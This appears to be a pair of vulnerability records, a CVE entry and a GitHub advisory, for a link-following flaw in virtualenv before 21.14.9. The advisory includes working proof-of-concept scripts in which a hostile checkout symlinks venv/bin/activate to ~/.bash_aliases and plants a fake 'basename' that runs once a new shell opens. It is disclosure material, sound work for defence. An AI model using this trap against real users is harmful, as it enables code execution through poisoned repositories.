{
  "affected": [
    {
      "affectedData": [
        {
          "product": "virtualenv",
          "vendor": "pypa",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 21.14.9"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true, allowing a dangling symlink to survive and redirect generated activation content, while PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing symbolic or hard link. Another local account that prepares final entries inside the destination can therefore cause environment creation to create or overwrite files outside the requested tree with constrained virtualenv-generated content and the invoking user\u0027s permissions. The destination parent must remain controlled by the environment owner during creation; concurrent parent-directory replacement is a separate concern. This issue is fixed in version 21.14.9."
    }
  ],
  "id": "CVE-2026-113721",
  "lastModified": "2026-10-22T16:47:38.403",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "LOW",
          "baseScore": 4.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 3.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-20T20:17:18.653",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pypa/virtualenv/pull/3431"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-59"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T17:03:12Z",
    "nvd_published_at": "2026-10-20T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user\u0027s\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin/activate -\u003e ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian\u0027s stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared project tree\n    participant V as virtualenv writer\n    participant H as User home\n    participant B as Next interactive bash\n    A-\u003e\u003eV: venv/bin/activate links to missing ~/.bash_aliases\n    V-\u003e\u003eV: Path.exists() follows link and returns false\n    V-\u003e\u003eH: write activation bytes through link\n    H--\u003e\u003eB: ~/.bash_aliases now exists\n    B-\u003e\u003eH: .bashrc sources ~/.bash_aliases\n    B-\u003e\u003eA: PATH reaches planted venv/bin/basename\n    A--\u003e\u003eB: marker created\n    Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian\u0027s stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker\u0027s repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate -\u003e\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n    print(\"  its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n    print(\"  it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" \u003e \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user\u0027s permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-XBEOCBS1.",
  "id": "GHSA-558c-9hv2-4prj",
  "modified": "2026-10-22T17:03:13Z",
  "published": "2026-10-22T17:03:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "virtualenv: Generated files can follow existing destination links"
}